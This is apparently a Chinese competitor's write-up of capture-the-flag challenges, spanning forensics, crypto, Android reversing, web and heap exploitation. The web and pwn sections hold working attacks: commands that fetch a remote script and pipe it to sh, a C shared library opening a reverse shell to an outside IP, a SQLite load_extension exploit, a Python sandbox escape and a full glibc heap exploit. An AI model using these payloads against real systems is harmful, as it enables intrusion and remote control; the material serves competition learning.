# 通风机

# 操作内容:

通过 online 下载西门子 step7 工控软件,然后发现 mwp 文件打不开

img

通过创建一个文件对比文件头发现题目中的文件缺少文件头

img

img

补全文件头后可以直接打开,然后在 symbol table 中发现密文

img

解密得 flag

img

# flag 值:flag

# 大学生安全测试能力调研问卷

# 操作内容:

答完问卷即得

# flag 值:flag

# 第一天_asm_re

# 操作内容:

密文块

img

加密方式

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def decrypt_data(s):
data = [int.from_bytes(s[i:i+4], "little") for i in range(0, len(s), 4)]
decrypted_data = []
for i in range(len(data)):
decrypted_byte = data[i] - 0x1E
decrypted_byte ^= 0x4D
decrypted_byte -= 0x14
decrypted_byte //= 0x50
decrypted_data.append(chr(decrypted_byte))
return "".join(decrypted_data)

encrypted_data = [
0xD7, 0x1F, 0, 0, 0xB7, 0x21, 0, 0, 0x47, 0x1E, 0, 0, 0x27, 0x20, 0, 0, 0xE7, 0x26, 0, 0,
0xD7, 0x10, 0, 0, 0x27, 0x11, 0, 0, 7, 0x20, 0, 0, 0xC7, 0x11, 0, 0, 0x47, 0x1E, 0, 0,
0x17, 0x10, 0, 0, 0x17, 0x10, 0, 0, 0xF7, 0x11, 0, 0, 7, 0x20, 0, 0, 0x37, 0x10, 0, 0,
7, 0x11, 0, 0, 0x17, 0x1F, 0, 0, 0xD7, 0x10, 0, 0, 0x17, 0x10, 0, 0, 0x17, 0x10, 0, 0,
0x67, 0x1F, 0, 0, 0x17, 0x10, 0, 0, 0xC7, 0x11, 0, 0, 0xC7, 0x11, 0, 0, 0x17, 0x10, 0, 0,
0xD7, 0x1F, 0, 0, 0x17, 0x1F, 0, 0, 7, 0x11, 0, 0, 0x47, 0xF, 0, 0, 0x27, 0x11, 0, 0,
0x37, 0x10, 0, 0, 0x47, 0x1E, 0, 0, 0x37, 0x10, 0, 0, 0xD7, 0x1F, 0, 0, 7, 0x11, 0, 0,
0xD7, 0x1F, 0, 0, 7, 0x11, 0, 0, 0x87, 0x27, 0, 0
]

decrypted_message = decrypt_data(encrypted_data)
print(decrypted_message)

# flag 值:flag {67e9a228e45b622c2992fb5174a4f5f5}

# 第一天_android_re

# 操作内容

androidso_rejadx 打开,先看看 MainActivity,flag 长度为 38 位,然后调用了 inspect

img

然后 inspect 是一个 DES 加密,同时拿到密文,调用了 native 层的 getKey () 和 getiv ()

img

img

解压缩 apk,在 /lib 目录下找到 so 文件 iv 和 key 都挺复杂的,静态不好分析

img

考虑动态,用 frida hook 梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hook() {
let jni = Java.use("com.example.re11113.jni");

var iv = jni.getiv();
console.log("iv = :" + iv);
var key = jni.getkey();
console.log("key = :" + key);
}
function main() {
Java.perform(function () {
hook();
});
}

setTimeout(main, 200);

frida -U -f com.example.re11113 -l hook.js 结果发现 getkey 返回值不是 Mofified UTF-8,会导致程序崩溃

img

所以针对 getkey 考虑换种 hook 方式,直接 hook JNI 函数,然后读取到返回值后手动替换返回值使他可以正确执行不崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function hook() {
let jni = Java.use("com.example.re11113.jni");

var res = jni.getiv();
console.log("iv = :" + res);
var getkeybase = Module.findExportByName("libSecret_entrance.so", "Java_com_example_re11113_jni_getkey");
if (getkeybase) {
Interceptor.attach(getkeybase, {
onEnter: function(args) {
console.log("JNI getkey called");
},
onLeave: function(retval) {
if (!retval.isNull()) {
try {
var result = Memory.readUtf8String(retval);
console.log("Reconstructed key = " + result);
retval.replace(ptr(result));
} catch (memError) {
console.log("Memory read error: " + memError.message);
}
}
}
});
var key = jni.getkey();
console.log("key = :" + key);
} else {
console.log("Failed to find the export 'Java_com_example_re11113_jni_getkey'");
}
}

function main() {
Java.perform(function () {
hook();
});
}

setTimeout(main, 200);

同样 frida -U -f com.example.re11113 -l hook.js 得到

1
2
key = b"A8UdWaeq"  
iv = b"Wf3DLups"

img

<a name="ZXFm5"></a>

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

def decrypt_message(encrypted_message, key=b"A8UdWaeq", iv=b"Wf3DLups"):
try:
# Initialize DES cipher and decode base64-encoded data in one step
cipher = DES.new(key, DES.MODE_CBC, iv)
decrypted_message = unpad(cipher.decrypt(base64.b64decode(encrypted_message)), DES.block_size).decode('utf-8')
return decrypted_message
except (ValueError, KeyError) as e:
# Handle decryption and padding errors in a single line
print(f"Decryption failed: {e}")
return None

if __name__ == "__main__":
encrypted_message = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="

# Function call with default key and iv values
decrypted_message = decrypt_message(encrypted_message)
if decrypted_message:
print("Decrypted message:", decrypted_message)
else:
print("Decryption failed.")

# flag 值:flag

# 第一天_神秘文件

# 操作内容:

# part1

在 core.xml 中发现密文和 key

img

img

# part2

将 ppt 作为压缩包打开,发现 word 文档

img

利用 word 隐写常见方式(改字符颜色,隐藏文字)发现密文

img

由 word 文档里的文字可得凯撒加密,通过尝试偏移量,进行 cyberchef 解密得 part2

img

# part3

在压缩包中发现 vbaproject.bin 通过百度破解其的方式 https://blog.csdn.net/qq_14815199/article/details/119457181

img

通过分析加密方法利用 cyber 解密

img

# part4

第三页发现密文,解密后得 part4

imgimg

# part5

在第五页 ppt 备注发现密文,cyberchef 解码后得到 part5

img

img

# part6

在 ppt 压缩包中得 media 文件夹中发现密文,cyber 解密得 part6

img

img

# part7

在 slide4.xml 中发现密文

img

通过联想其他的 part 解法,解得 part7

img

# part8

在 slideLayout2.xml 中发现密文

img

而后发现提示

img

remove 后解得 part8

img

# part9

在 media 中的 image57.jpg 发现密文

img

解得 part9

img

# part10

在第四页发现批注,通过聊天信息得维吉尼亚解密,解密得 part10

img

img

img

# flag 值:flag {e675efb3-346f-405f-90dd-222b387edee9}

# 古典密码

# 操作内容:

由于没有密钥,先尝试没有密钥的古典密码,在埃特巴什码处得到下一步密文

img

在 cyberchef 中利用 atbash 解密,外加魔棒自动解密可得进一步的密文

img

而后随波逐流一把梭

img

# flag 值:flag

# 第一天_火锅链观光打卡

# 操作内容:

首先安装 metamask(比赛前已装好),并连接钱包

img

连接完后领取空投,然后通过答题获得 7 个不同食材图片

img

然后进行兑换获得 flag

img

# flag 值:flag

# 第一天_Power+Trajectory+Diagram

# 操作内容:(感觉照搬某一比赛的题目,仅仅改了附件)

通过 gpt 进行文件读取并对其中一个 trace 组进行画图分析发现个别突出的 trace

img

通过分析应该为侧信道攻击,可在网上搜得原理 https://kns.cnki.net/reader/review?invoice=fU4bjMUer3wwUlKCnQe6TAJwuBHBR8S7UEumnve%2B%2FhrmHnG5twA6yAbuBB0Th3vhBLsI7Cu1bA2%2FFOZxYY%2FpUZynVinbZsLTLqophPDa95Yt1tjWvRSqfsVOxuu1FVkILBRSb48xpcbSESo8tJECN1Uk5AWXAwVkVCwEX%2BkW968%3D&platform=NZKPT&product=CDFD&filename=1017288094.NH&tablename=cdfdlast2018&type=DISSERTATION&scope=trial&cflag=overlay&dflag=&pages=&language=chs&trial=&nonce=998A3C04CF78463896E7ABDD668AD40D,然后对 12 组 trace,进行相似度方差分析检索出每组相差最大的 trace 索引,最后 mod40 然后索引 input 中的 40 个字符得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import numpy as np
f = 'C:/Users/miaoaixuan/Desktop/attachment.npz'
d = np.load(f)
t = d['trace']
def ms_diff(trace, group):
return np.mean(np.square(group - trace), axis=1).mean()
tpg = 40
dt_indices = []
for i in range(0, len(t), tpg):
g = t[i:i + tpg]
max_diff_index = np.argmax([ms_diff(trace, g) for trace in g])
dt_indices.append(i + max_diff_index)
print(dt_indices)
n = [36, 42, 88, 138, 162, 213, 276, 308, 346, 388, 430, 476]#dt_indices

cs = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','_', '!', '@', '#']#npz 中index读取出来的字符

mod_40_chars = [cs[num % 40] for num in n]
print(''.join(mod_40_chars))

# flag 值:flag {ciscn_2024}

# 第一天_Tough_DNS

# 操作内容:

利用流量分析工具分析,发现 01 组成的域名

img

将 01 的数据导出

img

无法直接解二进制从而 01 二进制转二维码

img

得到二维码,扫描得 15f9792dba5c

img

通过分析后续流量,利用 tshark 脚本分别导出 0x6421,0x4500 所对应的数据

img

利用 gpt 写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pyshark

def extract_dns_txt_values_from_pcap(pcap_file, tshark_path):
txt_values = ""
capture = pyshark.FileCapture(pcap_file, display_filter='dns', tshark_path=tshark_path)
for packet in capture:
try:
if int(packet.frame_info.number) >= 135 and int(packet.frame_info.number) % 2 == 0:#奇数或偶数
txt_values += packet.dns.txt.strip()
except AttributeError:
pass
return txt_values

def write_hex_string_to_file(hex_string, file_path):
# 将hex字符串转换为字节
byte_data = bytes.fromhex(hex_string)
# 将字节写入文件
with open(file_path, 'wb') as file:
file.write(byte_data)
pcap_file = "C:/Users/miaoaixuan/Desktop/Tough_DNS.pcapng"
tshark_path = "D:/wireshark/tshark" # 设置tshark的路径
output_file = "C:/Users/miaoaixuan/Desktop/output_file.bin" # 设置输出文件路径
txt_values = extract_dns_txt_values_from_pcap(pcap_file, tshark_path)
# 将提取的TXT值作为hex转换为文件
write_hex_string_to_file(txt_values, output_file)
print(f"Hex values have been written to {output_file}")

解出来一个密文文件和一个压缩包,压缩包里是一个 gpg 密钥文件,密钥为之前的二维码出来的内容

利用 kali 解密密文时发现需要密钥,从而去题目中寻找线索

img

题目中提供一串密文无法 hex 将其 re 后得 hex 后得到一串字符 e 9 b 0 - e a 5 f 9 b a e 但发现不对,因而反向试验发现成功,密钥:eab9f5ae-0b9e

img

解密 dat 得 flag

img

# flag 值:flag

# 第二天_恶意软件

# 操作内容:

利用取证软件对 dmp 文件进行分析发现可疑网址
img

img

通过运行软件得到 loader.exe 和一张图片

对图片进行分析,存在隐写 zip,但存在其他无关数据,利用 gpt 进行剔除

img

得到.b 文件

img

通过对 exe 进行分析将.b 文件进行 base85 转换,得到可用的 shellcode

img

将其导出丢进沙箱分析,能找出 c2 地址

img

# flag 值:flag

# 第一天_simple_php

# 操作内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

这个 open_basedir 是一点用没有的。最终 payload 可以利用 eval xxx`` 配合 \ 反斜杠去绕过关键字就可以

cmd=eval ec\ho Y3VybCBo\dHRwOi8vOC4xMzAuMjQuMTg4OjgwMDAvMS5zaHxzaA==|base\64 -d|s\h``

img

反弹 shell 过后发现没有 flag 文件,查看 ps -ef

img

发现存在 mysql,上线 cs 平台后 mysql -uroot -proot 直接连进去读 flag 了

img

# flag 值:flag

# 第一天_easycms

# 操作内容:

dirsearch 可以扫出 flag.php,内容后面给了 hint

1
2
3
4
5
6
7
8
9
10
11
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

echo "Just input 'cmd' From 127.0.0.1";

return;

}else{

system($_GET['cmd']);

}

也就是说让我们找到一个 ssrf 的点位就行了。

img

源码审计发现 down_img 路由存在 ssrf 漏洞

但是我们要满足一个正则 /(src)=([\"|']?)([^ \"'>]+)\\2/i" ,这个正则的含义其实也就是 <img> 标签的内容,example: <img src="https://xxx?cmd=whoami"/>

这个路由原本是用来识别 img 标签里的 src 位置的,但我们可控输入所以就造成了 ssrf,最终 poc

1
value=<img src="https://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh" alt="Example Image">

img

发送请求后 vps 收到请求

img

最终拿到 flag

# flag 值:

flag

# 第二天_ezjava

# 操作内容:

考点是 Java 的 Jdbc Attack 对应的 Sqlite 部分。

虽然题目给了 3 个 JDBC 服务,但其实可以利用的只有 sqlite,目的是 rce。注意到开启了 extension_enable 选项

img

开启了拓展支持,并且已经有了相关的攻击面文章

[https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu Yuanzhen & Chen Hongkun.pdf](https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu Yuanzhen & Chen Hongkun.pdf)

在这个 ppt 里我们知道如何去加载远程的 db 文件。首先我们开启远程 debug 调试一下看看逻辑。

img

这边会取 resourceAddr 的 hashcode 加上指定的前缀作为最终的缓存文件名。那么我们的思路就是利用这个特性缓存一个恶意的 so 文件,这是第一次请求。

恶意 so 文件制作过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("bash -c 'bash -i >& /dev/tcp/8.130.24.188/7778 <&1'");
}}

void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}
gcc -shared -fPIC exp.c -o exp.so

最后我们使用 load_extension ('xxx','flag') 函数就会加载 flag 方法,成功的触发反弹 shell 了。

第二次请求我们就去加载这个恶意 so 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.javasec.pocs.solutions.ciscn;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
public static void main(String[] args) {

try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");


String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-1914716480.db','flag'));"; //向其中插入传入的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);

preStmt.executeUpdate();
preStmt.close();
conn.close();

} catch (Exception e) {
e.printStackTrace();
}

}
}

我们生成恶意 db 文件的脚本如上,可以看到我们创建了一个 security 表,然后用到了 as SELECT 语句。(security 表用的是 ppt 里的,直接复制粘贴了)

然后我们发起请求就会触发 select 语句

img

img

然后就开始实操。首先先让目标缓存一下我们的 so 文件

img

然后我们再去加载恶意 db,触发指定的 sql 语句。

img

img

最终获取 flag

# flag 值:

flag

# 第二天_mossfern

# 操作内容:

pyjail frame 帧逃逸

https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3Dd8bgh8wiD#toc-5

参考上述文章

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/run HTTP/1.1
Host: eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Origin: https://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com
Referer: https://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com/
Accept: application/json, text/plain, */*
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1713496688,1713681080,1715993802
Content-Length: 199

{"code":"def boogipop():\n def exp():\n yield pop.gi_frame.f_back.f_back.f_back\n pop = exp()\n for exp in pop:\n boo=exp\n return boo\nkino=boogipop()\nprint(kino)"}

img

可以看到已经获取到了 f_code 对象,根据文章中所说到的

f_code 存在 co_consts 对象。

img

但是在本地测试的时候发现由于结果出现了 flag 字眼就会被拦截,这里其实很好绕过。

因为是全字符串检测,我们字符串截取部分自然就可以返回 flag

1
2
3
4
5
6
7
8
9
def boogipop():
def exp():
yield pop.gi_frame.f_back.f_back.f_back
pop = exp()
for exp in pop:
boo=exp
return boo
kino=boogipop()
print(kino.f_code.co_consts[19][1:])

img

# flag 值:

flag

# 第二天_easycms_revenge

# 操作内容:

和第一天的都一样

1
value=<img src="https://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh" alt="Example Image">

img

发送请求后 vps 收到请求

img

最终拿到 flag

# flag 值:

flag

# 第二天_EzHeap

# 操作内容:

  • Glibc2.35 的高版本堆溢出题目

  • leak 的思路是通过堆溢出连续写入到 unsorted bin 的 fd 前面,也就是 size 域,然后 show 就会顺带将 libc 地址泄露出来

  • 同时因为开了 seccomp,这道题准备打 house of apple2 + setcontext 来 ORW,所以还要泄露堆地址,堆地址从 largebin chunk 获取,leak 方式和上面一样

  • 在获取地址后就开始布置数据了,分别要布置 rop,setcontext 所需的内存段,还有 Fake_IO_file

  • 需要注意的是这里不能直接调用 open 函数,调用 open 函数执行的是 openat,会被 seccomp 屏蔽,用 syscall 去调用 open 函数才能打开 flag

  • 这题的打法和前些天 ISCC 的 heapheap 有一点像,不过这道题有堆溢出在修改 Fake_FILE 的 SIZE 域的时候方便点(用来配合 keygadget 构造 rdx 寄存器)

# 如该题使用自己编写的脚本代码请详细写出,不允许截图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./EzHeap')

libc=ELF('./libc.so.6')
def add(size,content):
p.sendlineafter('choice >> ','1')
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)

def delete(index):
p.sendlineafter('choice >> ','2')
p.sendlineafter('idx:',str(index))

def edit(index,size,content):
p.sendlineafter('choice >> ','3')
p.sendlineafter('idx:',str(index))
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)

def show(index):
p.sendlineafter('choice >> ','4')
p.sendlineafter('idx:',str(index))

#
for i in range(12):#0-11
add(0xe0,'a')


add(0x450,'11')#12
add(0x450,'a')#13
add(0x450,'a')#14
add(0x440,'a')#15
delete(13)
add(0x460,'a')#16
edit(12,0x500,b'a'*0x45f+b'b')
show(12)
p.recvuntil(b'ab')
libc_base=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21B0E0
key_gadget=0x0000000000167420+libc_base
pop_rdi=0x000000000002a3e5+libc_base
pop_rsi=0x000000000002be51+libc_base
pop_rdx2=0x000000000011f2e7+libc_base
read_addr=libc_base+libc.sym['read']
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
setcontext=libc_base+libc.sym['setcontext']
syscall_ret=0x91316 +libc_base
pop_rax=0x0000000000045eb0+libc_base
ret=libc_base+0x0000000000029139
log.success('libc_base:{}'.format(hex(libc_base)))
edit(12,0x500,b'a'*0x46f+b'b')
show(12)

p.recvuntil(b'ab')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x26F0
log.success('heap_base:{}'.format(hex(heap_base)))
IO_list_all=libc_base+0x21B680
#恢复第一个largebin chunk,并且准备劫持iolistall
flag_addr=heap_base+0x200

flag_str=0x3CF0+heap_base

payload=b'./flag'.ljust(8,b'\x00')+p64(pop_rdi)+p64(flag_str)+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx2)+p64(0x50)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx2)+p64(0x50)+p64(0)+p64(write_addr)
payload=payload.ljust(0x450,b'\x00')+p64(0)+p64(0x461)+p64(libc_base+0x21B0E0)*2+p64(heap_base+0x26F0)+p64(IO_list_all-0x20)
edit(12,0x500,payload)

payload_addr=0x22A8+heap_base
payload=flat({
0x20:setcontext+61,
0x68:flag_str,
0xa0:payload_addr,
0xa8:ret
}
,filler=b'\x00')
add(0x460,payload)#17
fake_io=0x2FB0+heap_base
_IO_wfile_jumps=libc_base+0x2170C0
payload=flat({
0xa0-0x10:fake_io-0x50,
0xd8-0x10:_IO_wfile_jumps,
0xd0-0x50:fake_io+0x28-0x68,
0x18:key_gadget
},filler=b'\x00')
edit(15,0x500,payload)
delete(15)
#largebinattack
add(0x470,'./flag')#18
# #劫持第二个largebi chunk的size位,劫持到setcontext部分
payload=b'\x00'*0x450+p64(0)+p64(heap_base+0x3880)+p64(0)*3+p64(key_gadget)
edit(14,0x500,payload)
#gdb.attach(p,'b *&_IO_wfile_overflow')
pause()
p.sendlineafter('choice >> ','5')
p.interactive()

# flag 值:

flag

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

L1nkStar 微信支付

微信支付

L1nkStar 支付宝

支付宝

L1nkStar 贝宝

贝宝